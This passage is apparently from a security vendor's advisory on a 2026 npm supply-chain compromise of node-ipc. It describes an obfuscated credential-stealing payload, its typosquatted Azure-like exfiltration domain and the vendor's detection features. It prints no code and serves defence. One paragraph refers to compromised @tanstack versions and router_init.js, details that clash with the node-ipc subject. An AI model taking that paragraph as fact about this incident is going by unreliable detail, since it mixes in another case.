Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious obfuscated payload embedded in the compromised node-ipc.cjs bundle harvests credentials, SSH keys, cloud tokens, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised node-ipc version outside of CI is a potential point of compromise.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

npm Package Cooldown Check

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, the compromised node-ipc versions were all published simultaneously on May 14, so any PR updating to node-ipc@9.1.6, node-ipc@9.2.3, or node-ipc@12.0.1 during the cooldown period would have been blocked automatically.

npm Package Compromised Updates Check

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All three compromised node-ipc versions were added to this database within minutes of detection.

npm Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

AI Package Analyst

AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, the compromised @tanstack versions were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. The 3.7x tarball size anomaly, injected router_init.js at the package root, and the optionalDependencies reference to a GitHub fork commit were all surfaced as high-confidence supply chain indicators. Alerts include the full behavioral analysis, decoded payload details, and direct links to the OSS Security Feed.

Technical Notes

  • No persistence mechanism: The malware runs once per process lifetime on module load. In long-running services or CI/CD pipelines that frequently start new Node.js processes, the exfiltration attempt fires on every startup.
  • Account compromise timing: The 21-month gap between 12.0.0 (2024-08-12) and the three compromised releases (all 2026-05-14) strongly suggests the npm publisher account was compromised months after the last legitimate release -- a recurring pattern in supply chain attacks targeting dormant high-download packages.
  • Identical payload strategy: The byte-for-byte identical node-ipc.cjs across all three versions confirms a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing.
  • 9.x fabrication: The 9.x series never contained a node-ipc.cjs bundle. The attacker copied the 12.x package structure, replaced the version field, and published 9.1.6 and 9.2.3 as entirely synthetic packages -- there is no legitimate codebase they patch or extend.
  • Domain name evasion: azurestaticprovider.net is not a Microsoft-owned domain. It is a typosquatting domain crafted to visually blend with legitimate Azure infrastructure names like azurestaticapps.net and azurewebsites.net. Security teams seeing this domain in logs may assume it is normal Azure traffic.
  • Connection to 2022 peacenotwar: While the same npm package namespace was used, the 2022 attack targeted versions 10.1.1-10.1.2 with a file-destruction payload against specific geographies. This 2026 attack targets a different set of versions and is financially motivated (credential theft) rather than destructive. Different threat actor is the most likely assessment.

References